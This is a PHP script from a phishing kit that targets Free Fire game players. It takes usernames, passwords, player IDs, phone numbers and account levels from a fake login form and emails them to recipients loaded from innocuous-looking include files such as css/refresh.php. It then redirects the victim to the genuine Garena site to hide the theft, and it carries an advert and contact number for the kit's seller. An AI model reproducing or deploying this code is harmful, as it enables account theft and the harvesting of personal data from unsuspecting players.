PHP Decode

<?php 
$username = $_GET['username']; 
$password = $_GET['password']; 
$login = $_GET['login']; 
$level = $_GET['level']; 
$tier = $_GET['tier']; 
$rpt = $_GET['rpt']; 
$playid = $_GET['playid']; 
$nope = $_GET['nope']; 
 
 
$subjek = "Free Fire $login|$username|$level"; 
$body = ' 
 
#---------[ DATA ACCOUNT ]-----------# 
 
 Username   =   '.$username.' 
 Password   =   '.$password.' 
 UID        =   '.$playid.' 
 Phone Numb =   '.$nope.' 
 Tier       =   '.$tier.' 
 Ep Type    =   '.$rpt.' 
 AccLevel   =   '.$level.' 
 
BELI KEBUTUHAN HOSTING MWHM WHM WEB P DI NUZRAN XD. 
WA: 089501449515 
UCAPIN SALAM  
 
#-------------------[ b]----------------------# 
 
'; 
 
include ('email.php'); 
$headers = "From: NUZRAN XD.  <[email protected]>"; 
$datamail = mail($subjek, $body, $headers); 
$success = mail($result, $subjek, $body, $headers); 
 
include ('css/refresh.php'); 
$headers = "From: FER XD. <[email protected]>"; 
$datamail = mail($subjek, $body, $headers); 
$success = mail($result, $subjek, $body, $headers); 
 
include ('img/login-popup/img.php'); 
$headers = "From: FER XD. <[email protected]>"; 
$datamail = mail($subjek, $body, $headers); 
$success = mail($result, $subjek, $body, $headers); 
 
echo "<script type='text/javascript'>window.top.location='http://ff.garena.com/';</script>"; 
?>